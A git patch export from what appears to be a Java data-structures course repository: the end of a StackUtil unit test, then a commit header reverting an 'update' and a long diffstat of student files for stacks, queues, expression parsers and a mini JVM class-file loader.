+        Assert.assertEquals("1,3", s.toString());
+    }
+
+    @Test
+    public void testGetTop() {
+        Stack s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(5);
+        {
+            Object[] values = StackUtil.getTop(s, 3);
+            Assert.assertEquals(5, values[0]);
+            Assert.assertEquals(4, values[1]);
+            Assert.assertEquals(3, values[2]);
+        }
+    }
+
+    @Test
+    public void testIsValidPairs() {
+
+       Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+       Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+    }
+
+}

From 6d0a3c444266ba7f65d9641dab31b07133dc317c Mon Sep 17 00:00:00 2001
From: zheng <765324639@qq.com>
Date: Thu, 27 Apr 2017 17:11:10 +0800
Subject: [PATCH 131/262] Revert "update"

---
 .../275150374Learning/.idea/description.html  |  16 +-
 .../basic/linklist/LRUPageFrame.java          | 245 -----
 .../basic/linklist/LRUPageFrameTest.java      |  29 -
 .../coding2017/basic/linklist/LinkedList.java | 290 ------
 .../coding2017/basic/queue/CircleQueue.java   |  50 -
 .../coding2017/basic/queue/Josephus.java      |  40 -
 .../basic/queue/QueueWithTwoStacks.java       |  42 -
 .../coding2017/basic/stack/Stack.java         |  49 -
 .../coding2017/basic/stack/StackUtil.java     | 102 --
 .../basic/stack/expr/InfixExpr.java           |  95 --
 .../basic/stack/expr/InfixExprTest.java       |  55 --
 .../basic/stack/expr/PostfixExpr.java         |  81 --
 .../basic/stack/expr/PostfixExprTest.java     |  35 -
 .../basic/stack/expr/PrefixExpr.java          |  68 --
 .../basic/stack/expr/PrefixExprTest.java      |  42 -
 .../coding2017/jvm/attr/AttributeInfo.java    |  19 -
 .../coding2017/jvm/attr/CodeAttr.java         |  93 --
 .../coding2017/jvm/attr/LineNumberTable.java  |  40 -
 .../jvm/attr/LocalVariableItem.java           |  39 -
 .../jvm/attr/LocalVariableTable.java          |  49 -
 .../coding2017/jvm/attr/StackMapTable.java    |  28 -
 .../coding2017/jvm/clz/AccessFlag.java        |  24 -
 .../coding2017/jvm/clz/ClassFile.java         |  91 --
 .../coding2017/jvm/clz/ClassIndex.java        |  19 -
 .../coding2017/jvm/cmd/BiPushCmd.java         |  23 -
 .../coding2017/jvm/cmd/ByteCodeCommand.java   | 128 ---
 .../coding2017/jvm/cmd/CommandParser.java     |  85 --
 .../coding2017/jvm/cmd/GetFieldCmd.java       |  22 -
 .../coding2017/jvm/cmd/GetStaticFieldCmd.java |  23 -
 .../coding2017/jvm/cmd/InvokeSpecialCmd.java  |  23 -
 .../coding2017/jvm/cmd/InvokeVirtualCmd.java  |  22 -
 .../orajavac/coding2017/jvm/cmd/LdcCmd.java   |  29 -
 .../coding2017/jvm/cmd/NewObjectCmd.java      |  19 -
 .../coding2017/jvm/cmd/NoOperandCmd.java      |  23 -
 .../coding2017/jvm/cmd/OneOperandCmd.java     |  27 -
 .../coding2017/jvm/cmd/PutFieldCmd.java       |  19 -
 .../coding2017/jvm/cmd/TwoOperandCmd.java     |  67 --
 .../coding2017/jvm/constant/ClassInfo.java    |  30 -
 .../coding2017/jvm/constant/ConstantInfo.java |  40 -
 .../coding2017/jvm/constant/ConstantPool.java |  28 -
 .../coding2017/jvm/constant/FieldRefInfo.java |  60 --
 .../jvm/constant/MethodRefInfo.java           |  59 --
 .../jvm/constant/NameAndTypeInfo.java         |  51 -
 .../jvm/constant/NullConstantInfo.java        |  19 -
 .../coding2017/jvm/constant/StringInfo.java   |  30 -
 .../coding2017/jvm/constant/UTF8Info.java     |  35 -
 .../orajavac/coding2017/jvm/field/Field.java  |  50 -
 .../jvm/loader/ByteCodeIterator.java          |  56 --
 .../jvm/loader/ClassFileLoader.java           | 131 ---
 .../jvm/loader/ClassFileParser.java           | 139 ---
 .../orajavac/coding2017/jvm/loader/test.java  |  21 -
 .../coding2017/jvm/method/Method.java         |  85 --
 .../jvm/print/ClassFilePrinter.java           |  53 --
 .../jvm/print/ConstantPoolPrinter.java        |  60 --
 .../jvm/test/ClassFileloaderTest.java         | 264 ------
 .../coding2017/jvm/test/EmployeeV1.java       |  26 -
 .../orajavac/coding2017/jvm/util/Util.java    |  50 -
 group02/727171008/.classpath                  |   1 -
 .../HarryHook/coding2017/array/ArrayUtil.java | 561 ++++++-----
 .../coding2017/array/ArrayUtilTest.java       | 291 +++---
 .../coding2017/basic/ArrayListTest.java       |  14 +-
 .../coding2017/basic/BinaryTreeNode.java      | 202 ++--
 .../coding2017/basic/BinaryTreeNodeTest.java  |  55 +-
 .../HarryHook/coding2017/basic/Iterator.java  |   8 +-
 .../coding2017/basic/LinkedListTest.java      | 631 +++++++------
 .../HarryHook/coding2017/basic/List.java      |  22 +-
 .../HarryHook/coding2017/basic/ListTest.java  | 212 +++--
 .../coding2017/basic/MyArrayList.java         | 279 +++---
 .../coding2017/basic/MyLinkedList.java        | 886 ++++++++++--------
 .../HarryHook/coding2017/basic/MyQueue.java   |  78 +-
 .../HarryHook/coding2017/basic/MyStack.java   |  83 +-
 .../HarryHook/coding2017/basic/QueueTest.java |  46 +-
 .../HarryHook/coding2017/basic/StackTest.java |  54 +-
 .../coding2017/download/DownloadThread.java   |  76 +-
 .../coding2017/download/FileDownloader.java   | 153 +--
 .../download/FileDownloaderTest.java          |  84 +-
 .../coding2017/download/api/Connection.java   |  40 +-
 .../download/api/ConnectionManager.java       |  13 +-
 .../download/impl/ConnectionImpl.java         |  94 +-
 .../download/impl/ConnectionManagerImpl.java  |   8 +-
 .../coding2017/jvm/attr/AttributeInfo.java    |  19 -
 .../coding2017/jvm/attr/CodeAttr.java         | 111 ---
 .../coding2017/jvm/attr/LineNumberTable.java  |  69 --
 .../jvm/attr/LocalVariableItem.java           |  49 -
 .../jvm/attr/LocalVariableTable.java          |  51 -
 .../coding2017/jvm/attr/StackMapTable.java    |  29 -
 .../coding2017/jvm/clz/AccessFlag.java        |  26 -
 .../coding2017/jvm/clz/ClassFile.java         | 133 ---
 .../coding2017/jvm/clz/ClassIndex.java        |  22 -
 .../coding2017/jvm/cmd/BiPushCmd.java         |  23 -
 .../coding2017/jvm/cmd/ByteCodeCommand.java   | 128 ---
 .../coding2017/jvm/cmd/CommandParser.java     | 155 ---
 .../coding2017/jvm/cmd/GetFieldCmd.java       |  18 -
 .../coding2017/jvm/cmd/GetStaticFieldCmd.java |  24 -
 .../coding2017/jvm/cmd/InvokeSpecialCmd.java  |  23 -
 .../coding2017/jvm/cmd/InvokeVirtualCmd.java  |  21 -
 .../HarryHook/coding2017/jvm/cmd/LdcCmd.java  |  29 -
 .../coding2017/jvm/cmd/NewObjectCmd.java      |  19 -
 .../coding2017/jvm/cmd/NoOperandCmd.java      |  23 -
 .../coding2017/jvm/cmd/OneOperandCmd.java     |  27 -
 .../coding2017/jvm/cmd/PutFieldCmd.java       |  19 -
 .../coding2017/jvm/cmd/TwoOperandCmd.java     |  67 --
 .../coding2017/jvm/constant/ClassInfo.java    |  32 -
 .../coding2017/jvm/constant/ConstantInfo.java |  43 -
 .../coding2017/jvm/constant/ConstantPool.java |  31 -
 .../coding2017/jvm/constant/FieldRefInfo.java |  63 --
 .../jvm/constant/MethodRefInfo.java           |  62 --
 .../jvm/constant/NameAndTypeInfo.java         |  54 --
 .../jvm/constant/NullConstantInfo.java        |  19 -
 .../coding2017/jvm/constant/StringInfo.java   |  33 -
 .../coding2017/jvm/constant/UTF8Info.java     |  42 -
 .../HarryHook/coding2017/jvm/field/Field.java |  44 -
 .../jvm/loader/ByteCodeIterator.java          |  58 --
 .../jvm/loader/ClassFileLoader.java           |  92 --
 .../jvm/loader/ClassFileParser.java           | 151 ---
 .../coding2017/jvm/method/Method.java         |  87 --
 .../jvm/print/ClassFilePrinter.java           |  51 -
 .../jvm/print/ConstantPoolPrinter.java        |  25 -
 .../jvm/test/ClassFileloaderTest.java         | 342 -------
 .../coding2017/jvm/test/EmployeeV1.java       |  30 -
 .../HarryHook/coding2017/jvm/util/Util.java   |  22 -
 .../coding2017/linklist/LRUPageFrame.java     | 125 ---
 .../coding2017/linklist/LRUPageFrameTest.java |  34 -
 .../coding2017/litestruts/Configuration.java  | 157 ++--
 .../litestruts/ConfigurationException.java    |  21 +-
 .../litestruts/ConfigurationTest.java         |  67 +-
 .../coding2017/litestruts/LoginAction.java    |  35 +-
 .../coding2017/litestruts/ReflectionUtil.java | 112 +--
 .../litestruts/ReflectionUtilTest.java        | 177 ++--
 .../coding2017/litestruts/Struts.java         |  42 +-
 .../coding2017/litestruts/StrutsTest.java     |  68 +-
 .../HarryHook/coding2017/litestruts/View.java |  53 +-
 .../coding2017/queue/CircleQueue.java         |  38 -
 .../HarryHook/coding2017/queue/Josephus.java  |  18 -
 .../coding2017/queue/JosephusTest.java        |  25 -
 .../HarryHook/coding2017/queue/Queue.java     |  55 --
 .../coding2017/queue/QueueWithTwoStacks.java  |  37 -
 .../HarryHook/coding2017/stack/StackUtil.java | 138 ---
 .../coding2017/stack/StackUtilTest.java       |  78 --
 .../coding2017/stack/expr/InfixExpr.java      | 103 --
 .../coding2017/stack/expr/InfixExprTest.java  |  47 -
 .../coding2017/stack/expr/InfixToPostfix.java |  53 --
 .../coding2017/stack/expr/PostfixExpr.java    |  54 --
 .../stack/expr/PostfixExprTest.java           |  37 -
 .../coding2017/stack/expr/PrefixExpr.java     |  58 --
 .../coding2017/stack/expr/PrefixExprTest.java |  43 -
 .../coding2017/stack/expr/Token.java          |  50 -
 .../coding2017/stack/expr/TokenParser.java    |  56 --
 .../stack/expr/TokenParserTest.java           |  39 -
 group02/812350401/.gitignore                  |   5 +-
 group02/812350401/pom.xml                     |  26 -
 .../miniyk2012/coding2017/basic/Stack.java    |  25 +
 .../basic/linklist/LRUPageFrame.java          | 148 ---
 .../basic/linklist/LRUPageFrameTest.java      |  62 --
 .../coding2017/basic/stack/Stack.java         |  43 -
 .../coding2017/basic/stack/StackUtil.java     | 158 ----
 .../basic/stack/expr/InfixExpr.java           | 134 ---
 .../basic/stack/expr/InfixExprTest.java       |  52 -
 .../coderising/jvm/clz/AccessFlag.java        |  25 -
 .../coderising/jvm/clz/ClassFile.java         |  73 --
 .../coderising/jvm/clz/ClassIndex.java        |  19 -
 .../coderising/jvm/constant/ClassInfo.java    |  24 -
 .../coderising/jvm/constant/ConstantInfo.java |  29 -
 .../coderising/jvm/constant/ConstantPool.java |  31 -
 .../coderising/jvm/constant/FieldRefInfo.java |  53 --
 .../jvm/constant/MethodRefInfo.java           |  56 --
 .../jvm/constant/NameAndTypeInfo.java         |  47 -
 .../jvm/constant/NullConstantInfo.java        |  13 -
 .../coderising/jvm/constant/StringInfo.java   |  26 -
 .../coderising/jvm/constant/UTF8Info.java     |  30 -
 .../jvm/loader/ByteCodeIterator.java          |  79 --
 .../jvm/loader/ClassFileLoader.java           |  89 --
 .../jvm/loader/ClassFileParser.java           | 112 ---
 .../jvm/test/ClassFileloaderTest.java         | 176 ----
 .../coderising/jvm/test/EmployeeV1.java       |  28 -
 .../coding2017/coderising/jvm/util/Util.java  |  26 -
 .../coderising/litestruts/Struts.java         |  26 +-
 .../coderising/litestruts}/struts.xml         |   0
 .../coding2017/jvm/test/EmployeeV1.class      | Bin 1056 -> 0 bytes
 .../miniyk2012/coding2017/basic/ListTest.java |   6 -
 .../basic/{stack => }/StackTest.java          |   4 +-
 .../coding2017/basic/stack/StackUtilTest.java |  86 --
 .../download/FileDownloaderTest.java          |  13 +-
 .../jvm/loader/ClassFileParserTest.java       |  53 --
 .../coderising/litestruts/StrutsTest.java     |   8 +-
 .../coderising/jvm/attr/AttributeInfo.java    |  76 --
 .../src/com/coderising/jvm/attr/CodeAttr.java | 103 --
 .../jvm/attr/ConstantValueAttr.java           |  30 -
 .../coderising/jvm/attr/LineNumberTable.java  |  60 --
 .../jvm/attr/LocalVariableItem.java           |  40 -
 .../jvm/attr/LocalVariableTable.java          |  47 -
 .../coderising/jvm/attr/StackMapTable.java    |  36 -
 .../com/coderising/jvm/clz/AccessFlag.java    |  24 -
 .../src/com/coderising/jvm/clz/ClassFile.java | 120 ---
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 -
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  21 -
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 125 ---
 .../com/coderising/jvm/cmd/CommandParser.java | 155 ---
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  21 -
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  19 -
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  21 -
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  21 -
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 -
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 -
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 -
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 -
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 -
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  65 --
 .../coderising/jvm/constant/ClassInfo.java    |  29 -
 .../coderising/jvm/constant/ConstantInfo.java |  41 -
 .../coderising/jvm/constant/ConstantPool.java |  46 -
 .../coderising/jvm/constant/FieldRefInfo.java |  59 --
 .../jvm/constant/MethodRefInfo.java           |  61 --
 .../jvm/constant/NameAndTypeInfo.java         |  50 -
 .../jvm/constant/NullConstantInfo.java        |  17 -
 .../coderising/jvm/constant/StringInfo.java   |  32 -
 .../com/coderising/jvm/constant/UTF8Info.java |  34 -
 .../exception/AddAnotherParserException.java  |  10 -
 .../exception/NoNextByteCodeException.java    |  10 -
 .../jvm/exception/NotAClassFileException.java |  11 -
 .../src/com/coderising/jvm/field/Field.java   |  65 --
 .../jvm/loader/ByteCodeIterator.java          | 113 ---
 .../jvm/loader/ClassFileLoader.java           |  14 +-
 .../ClassFileLoaderUtil.java}                 |  26 +-
 .../jvm/loader/ClassFileParser.java           | 154 ---
 .../src/com/coderising/jvm/method/Method.java |  77 --
 .../jvm/print/ClassFilePrinter.java           |  52 -
 .../jvm/print/ConstantPoolPrinter.java        | 112 ---
 .../src/com/coding/basic/BinaryTree.java      |  10 +-
 .../src/com/coding/basic/BinaryTreeNode.java  |  74 +-
 .../src/com/coding/basic/Iterator.java        |  16 +-
 .../zj-2017/src/com/coding/basic/List.java    |  18 +-
 .../zj-2017/src/com/coding/basic/Queue.java   |   8 +-
 .../zj-2017/src/com/coding/basic/Stack.java   |  30 +
 .../src/com/coding/basic/array/ArrayList.java |  37 +-
 .../src/com/coding/basic/array/ArrayUtil.java |  10 +-
 .../com/coding/basic/linklist/LinkedList.java |  71 +-
 .../src/com/coding/basic/stack/Stack.java     |  46 -
 .../src/com/coding/basic/stack/StackUtil.java | 158 ----
 .../coding/basic/stack/expr/InfixExpr.java    | 120 ---
 .../coding/basic/stack/expr/PostfixExpr.java  |  46 -
 .../coding/basic/stack/expr/PrefixExpr.java   |  47 -
 .../basic/stack/expr/util/ExprIterator.java   |  31 -
 .../basic/stack/expr/util/FixExprUtil.java    | 174 ----
 .../basic/stack/expr/util/Operator.java       |  70 --
 .../coderising/jvm/ClassFileloaderTest.java   | 349 -------
 .../test/com/coderising/jvm/EmployeeV1.java   |  28 -
 .../jvm/loader}/ClassFileloaderTest.java      | 178 ++--
 .../coderising/jvm/loader}/EmployeeV1.java    |  56 +-
 .../test/com/coding/basic/BinaryTreeTest.java | 117 ++-
 .../src/test/com/coding/basic/QueueTest.java  | 128 +--
 .../coding/basic/{stack => }/StackTest.java   | 152 +--
 .../com/coding/basic/array/ArrayListTest.java |   4 +-
 .../com/coding/basic/array/ArrayUtilTest.java |   2 +-
 .../coding/basic/linklist/LinkedListTest.java |  14 +-
 .../com/coding/basic/stack/StackUtilTest.java |  95 --
 .../basic/stack/expr/InfixExprTest.java       |  48 -
 .../basic/stack/expr/PostfixExprTest.java     |  38 -
 .../basic/stack/expr/PrefixExprTest.java      |  46 -
 .../structure/week2/ArrayUtilTest.java        |   1 +
 .../247565311/structure/week6/StackUtil.java  |  40 +-
 .../structure/week6/StackUtilTest.java        |   7 +-
 .../247565311/structure/week7/InfixExpr.java  |  93 +-
 .../structure/week7/InfixExprTest.java        | 112 +--
 .../week567_miniJVM/attr/AttrFactory.java     |  80 --
 .../week567_miniJVM/attr/AttributeInfo.java   |  19 +-
 .../week567_miniJVM/attr/CodeAttr.java        |  53 +-
 .../week567_miniJVM/attr/LineNumberTable.java |  18 +-
 .../attr/LocalVariableItem.java               |   7 -
 .../attr/LocalVariableTable.java              |   6 +-
 .../week567_miniJVM/attr/StackMapTable.java   |   2 +-
 .../week567_miniJVM/clz/ClassFile.java        |  76 +-
 .../constant/ConstantPool.java                |   6 +
 .../week567_miniJVM/constant/InfoFactory.java |  54 --
 .../week567_miniJVM/constant/UTF8Info.java    |   3 +
 .../week567_miniJVM/field/Field.java          |  33 +-
 .../loader/ByteCodeIterator.java              |  34 +-
 .../loader/ClassFileLoader.java               |  24 +-
 .../loader/ClassFileParser.java               | 105 +--
 .../week567_miniJVM/method/Method.java        |  47 +-
 .../{loader => test}/ClassFileLoaderTest.java |  44 +-
 .../week567_miniJVM/test/EmployeeV1.java      |  15 +-
 .../247565311/week567_miniJVM/util/Util.java  |   3 +
 .../main/java/com/zhaogd/array/ArrayList.java |   9 +-
 .../coding/basic/stack/StackUtil.java         |  14 +-
 .../coding/basic/stack/expr/InfixExpr.java    |  96 +-
 .../coding/basic/stack/expr/InfixExprS.java   | 102 --
 .../basic/stack/expr/InfixExprTest.java       |  42 +-
 .../basic/stack/expr/InfixToPostfix.java      |  51 -
 .../coding/basic/stack/expr/PostfixExpr.java  |  51 -
 .../basic/stack/expr/PostfixExprTest.java     |  41 -
 .../coding/basic/stack/expr/PrefixExpr.java   |  56 --
 .../basic/stack/expr/PrefixExprTest.java      |  45 -
 .../coding/basic/stack/expr/TParser.java      |  85 --
 .../coding/basic/stack/expr/Token.java        |  77 --
 .../coding/basic/stack/expr/TokenParser.java  |  57 --
 .../basic/stack/expr/TokenParserTest.java     |  66 --
 group12/382266293/src/array/ArrayUtil.java    | 256 ++---
 .../382266293/src/array/ArrayUtilTest.java    | 140 ++-
 .../coderising/download/DownloadThread.java   |  23 +-
 .../com/coderising/download/DownloadUtil.java |  34 +-
 .../coderising/download/FileDownloader.java   |  98 +-
 .../download/FileDownloaderTest.java          |  12 +-
 .../coderising/download/api/Connection.java   |  30 +-
 .../download/impl/ConnectionImpl.java         |  52 +-
 .../download/impl/ConnectionManagerImpl.java  |  18 +-
 .../download/impl/DownloadUtil.java           |   8 +-
 .../src/com/coderising/jvm/attr/CodeAttr.java |  95 +-
 .../coderising/jvm/attr/LineNumberTable.java  |  50 +-
 .../jvm/attr/LocalVariableItem.java           |  30 +-
 .../jvm/attr/LocalVariableTable.java          |  57 +-
 .../coderising/jvm/attr/StackMapTable.java    |  12 +-
 .../com/coderising/jvm/clz/AccessFlag.java    |  18 +-
 .../src/com/coderising/jvm/clz/ClassFile.java | 108 +--
 .../com/coderising/jvm/clz/ClassIndex.java    |  16 +-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 -
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 ---
 .../com/coderising/jvm/cmd/CommandParser.java | 179 ----
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 -
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 -
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 -
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 -
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 -
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 -
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 -
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 -
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 -
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 --
 .../coderising/jvm/constant/ClassInfo.java    |  23 +-
 .../coderising/jvm/constant/ConstantInfo.java |  12 +-
 .../coderising/jvm/constant/ConstantPool.java |  11 +-
 .../coderising/jvm/constant/FieldRefInfo.java |  55 +-
 .../jvm/constant/MethodRefInfo.java           |  51 +-
 .../jvm/constant/NameAndTypeInfo.java         |  33 +-
 .../jvm/constant/NullConstantInfo.java        |  11 -
 .../coderising/jvm/constant/StringInfo.java   |  18 +-
 .../com/coderising/jvm/constant/UTF8Info.java |  24 +-
 .../src/com/coderising/jvm/field/Field.java   |  42 +-
 .../jvm/loader/ByteCodeIterator.java          |  68 +-
 .../jvm/loader/ClassFileLoader.java           |  72 +-
 .../jvm/loader/ClassFileParser.java           |  74 +-
 .../src/com/coderising/jvm/method/Method.java |  85 +-
 .../jvm/print/ClassFilePrinter.java           |  52 -
 .../jvm/print/ConstantPoolPrinter.java        |  92 --
 .../coderising/jvm/print/PrintVisitor.java    |  23 -
 .../jvm/test/ClassFileloaderTest.java         | 219 ++---
 .../com/coderising/jvm/test/EmployeeV1.java   |  48 +-
 .../src/com/coderising/jvm/util/Util.java     |  10 +-
 .../coderising/litestruts/LoginAction.java    |  24 +-
 .../src/litestruts/ActionXMLreader.java       |   1 -
 .../src/litestruts/Configuration.java         | 110 ++-
 group12/382266293/src/litestruts/Struts.java  | 100 +-
 .../382266293/src/litestruts/StrutsTest.java  |  20 +-
 group12/382266293/src/litestruts/View.java    |   8 +-
 group12/382266293/src/test.java               |  59 +-
 .../coderising/jvm/attr/AttributeInfo.java    |  19 -
 .../src/com/coderising/jvm/attr/CodeAttr.java |  56 --
 .../coderising/jvm/attr/LineNumberTable.java  |  42 -
 .../jvm/attr/LocalVariableItem.java           |  39 -
 .../jvm/attr/LocalVariableTable.java          |  28 -
 .../coderising/jvm/attr/StackMapTable.java    |  30 -
 .../src/com/coderising/jvm/field/Field.java   |  33 -
 .../jvm/loader/ByteCodeIterator.java          |  54 +-
 .../jvm/loader/ClassFileLoader.java           |   2 +-
 .../jvm/loader/ClassFileParser.java           | 117 +--
 .../src/com/coderising/jvm/method/Method.java |  57 --
 .../jvm/test/ClassFileloaderTest.java         |   9 +-
 .../datastructure/linklist/LRUPageFrame.java  | 144 +++
 .../com/datastructure/stack/StackUtil.java    |  53 +-
 .../datastructure/stack/StackUtilTest.java    |  80 --
 .../datastructure/stack/expr/InfixExpr.java   |  67 --
 .../stack/expr/InfixExprTest.java             |  51 -
 .../src/task7/expr/InfixExpr.java             |  79 --
 .../src/task7/expr/InfixExprTest.java         |  56 --
 .../src/task7/expr/PostfixExpr.java           |  45 -
 .../src/task7/expr/PostfixExprTest.java       |  37 -
 .../src/task7/expr/PrefixExpr.java            |  47 -
 .../src/task7/expr/PrefixExprTest.java        |  44 -
 .../1507_977996067/src/task7/expr/Token.java  |  53 --
 .../src/task7/expr/TokenParser.java           |  57 --
 .../src/task7/jvm/attr/AttributeInfo.java     |  19 -
 .../src/task7/jvm/attr/CodeAttr.java          | 120 ---
 .../src/task7/jvm/attr/LineNumberTable.java   |  72 --
 .../src/task7/jvm/attr/LocalVariableItem.java |  39 -
 .../task7/jvm/attr/LocalVariableTable.java    |  57 --
 .../src/task7/jvm/attr/StackMapTable.java     |  30 -
 .../src/task7/jvm/clz/AccessFlag.java         |  25 -
 .../src/task7/jvm/clz/ClassFile.java          | 134 ---
 .../src/task7/jvm/clz/ClassIndex.java         |  19 -
 .../src/task7/jvm/cmd/BiPushCmd.java          |  23 -
 .../src/task7/jvm/cmd/ByteCodeCommand.java    | 128 ---
 .../src/task7/jvm/cmd/CommandParser.java      | 124 ---
 .../src/task7/jvm/cmd/GetFieldCmd.java        |  22 -
 .../src/task7/jvm/cmd/GetStaticFieldCmd.java  |  23 -
 .../src/task7/jvm/cmd/InvokeSpecialCmd.java   |  23 -
 .../src/task7/jvm/cmd/InvokeVirtualCmd.java   |  22 -
 .../src/task7/jvm/cmd/LdcCmd.java             |  29 -
 .../src/task7/jvm/cmd/NewObjectCmd.java       |  19 -
 .../src/task7/jvm/cmd/NoOperandCmd.java       |  23 -
 .../src/task7/jvm/cmd/OneOperandCmd.java      |  27 -
 .../src/task7/jvm/cmd/PutFieldCmd.java        |  19 -
 .../src/task7/jvm/cmd/TwoOperandCmd.java      |  67 --
 .../src/task7/jvm/constant/ClassInfo.java     |  31 -
 .../src/task7/jvm/constant/ConstantInfo.java  |  35 -
 .../src/task7/jvm/constant/ConstantPool.java  |  37 -
 .../src/task7/jvm/constant/FieldRefInfo.java  |  65 --
 .../src/task7/jvm/constant/MethodRefInfo.java |  65 --
 .../task7/jvm/constant/NameAndTypeInfo.java   |  56 --
 .../task7/jvm/constant/NullConstantInfo.java  |  21 -
 .../src/task7/jvm/constant/StringInfo.java    |  35 -
 .../src/task7/jvm/constant/UTF8Info.java      |  45 -
 .../src/task7/jvm/field/Field.java            |  48 -
 .../task7/jvm/loader/ByteCodeIterator.java    |  56 --
 .../src/task7/jvm/loader/ClassFileLoader.java | 122 ---
 .../src/task7/jvm/loader/ClassFileParser.java | 112 ---
 .../src/task7/jvm/method/Method.java          |  91 --
 .../src/task7/jvm/print/ClassFilePrinter.java |  44 -
 .../task7/jvm/print/ConstantInfoVisitor.java  |  18 -
 .../jvm/print/ConstantInfoVisitorImpl.java    |  51 -
 .../task7/jvm/print/ConstantPoolPrinter.java  |  26 -
 .../task7/jvm/test/ClassFileloaderTest.java   | 191 ----
 .../src/task7/jvm/test/EmployeeV1.java        |  29 -
 .../src/task7/jvm/util/Util.java              |  23 -
 group15/1512_656512403/.idea/description.html |  16 +-
 group17/102228177/work2_26/.classpath         |  16 +-
 .../src/com/coderising/array/ArrayUtil.java   |  19 +-
 .../jvm/loader/ClassFileLoader.java           |  81 --
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 -
 .../coding/basic/linklist/LRUPageFrame.java   | 150 ---
 .../basic/linklist/LRUPageFrameTest.java      |  31 -
 .../src/com/coderising/data/LinkedList.java   |  42 +-
 .../com/coderising/data/LinkedListTest.java   |   7 +-
 .../coderising/download/DownloadThread.java   |   2 +-
 .../coderising/download/FileDownloader.java   |   2 +-
 .../download/FileDownloaderTest.java          |   5 +-
 .../download/impl/ConnectionImpl.java         |   2 +-
 .../download/impl/ConnectionManagerImpl.java  |   2 +-
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 -
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 -
 .../coderising/jvm/constant/ClassInfo.java    |  33 -
 .../coderising/jvm/constant/ConstantInfo.java |  38 -
 .../coderising/jvm/constant/ConstantPool.java |  39 -
 .../coderising/jvm/constant/FieldRefInfo.java |  54 --
 .../jvm/constant/MethodRefInfo.java           |  55 --
 .../jvm/constant/NameAndTypeInfo.java         |  45 -
 .../jvm/constant/NullConstantInfo.java        |  13 -
 .../coderising/jvm/constant/StringInfo.java   |  26 -
 .../com/coderising/jvm/constant/UTF8Info.java |  32 -
 .../jvm/loader/ByteCodeIterator.java          |  49 -
 .../jvm/loader/ClassFileLoader.java           | 137 ---
 .../jvm/loader/ClassFileParser.java           | 115 ---
 .../jvm/test/ClassFileloaderTest.java         | 203 ----
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 -
 .../src/com/coderising/jvm/util/Util.java     |  24 -
 .../src/com/coding/basic/stack/ArrayList.java | 150 ---
 .../src/com/coding/basic/stack/Iterator.java  |   8 -
 .../src/com/coding/basic/stack/List.java      |  10 -
 .../src/com/coding/basic/stack/Stack.java     |  48 -
 .../src/com/coding/basic/stack/StackUtil.java | 112 ---
 .../com/coding/basic/stack/StackUtilTest.java |  44 -
 .../coderising/jvm/attr/AttributeInfo.java    |  19 -
 .../src/com/coderising/jvm/attr/CodeAttr.java | 116 ---
 .../coderising/jvm/attr/LineNumberTable.java  |  68 --
 .../jvm/attr/LocalVariableItem.java           |  39 -
 .../jvm/attr/LocalVariableTable.java          |  58 --
 .../coderising/jvm/attr/StackMapTable.java    |  30 -
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 -
 .../src/com/coderising/jvm/clz/ClassFile.java |  92 --
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 -
 .../coderising/jvm/constant/ClassInfo.java    |  33 -
 .../coderising/jvm/constant/ConstantInfo.java |  38 -
 .../coderising/jvm/constant/ConstantPool.java |  39 -
 .../coderising/jvm/constant/FieldRefInfo.java |  54 --
 .../jvm/constant/MethodRefInfo.java           |  55 --
 .../jvm/constant/NameAndTypeInfo.java         |  45 -
 .../jvm/constant/NullConstantInfo.java        |  13 -
 .../coderising/jvm/constant/StringInfo.java   |  26 -
 .../com/coderising/jvm/constant/UTF8Info.java |  32 -
 .../src/com/coderising/jvm/field/Field.java   |  45 -
 .../jvm/loader/ByteCodeIterator.java          |  53 --
 .../jvm/loader/ClassFileLoader.java           | 137 ---
 .../jvm/loader/ClassFileParser.java           | 143 ---
 .../src/com/coderising/jvm/method/Method.java |  91 --
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 -
 .../src/com/coderising/jvm/util/Util.java     |  24 -
 .../src/com/coding/basic/stack/ArrayList.java | 150 ---
 .../src/com/coding/basic/stack/InfixExpr.java |  74 --
 .../com/coding/basic/stack/InfixExprTest.java |  47 -
 .../src/com/coding/basic/stack/Iterator.java  |   8 -
 .../src/com/coding/basic/stack/List.java      |  10 -
 .../src/com/coding/basic/stack/Stack.java     |  48 -
 .../src/com/coding/basic/stack/StackUtil.java |  66 --
 .../src/com/coding/basic/stack/Token.java     |  49 -
 .../com/coding/basic/stack/TokenParser.java   |  56 --
 group17/1158154002/.classpath                 |   2 -
 .../src/test04/loader/ClassFileLoader.java    |  61 --
 .../test04/loader/ClassFileloaderTest.java    |  84 --
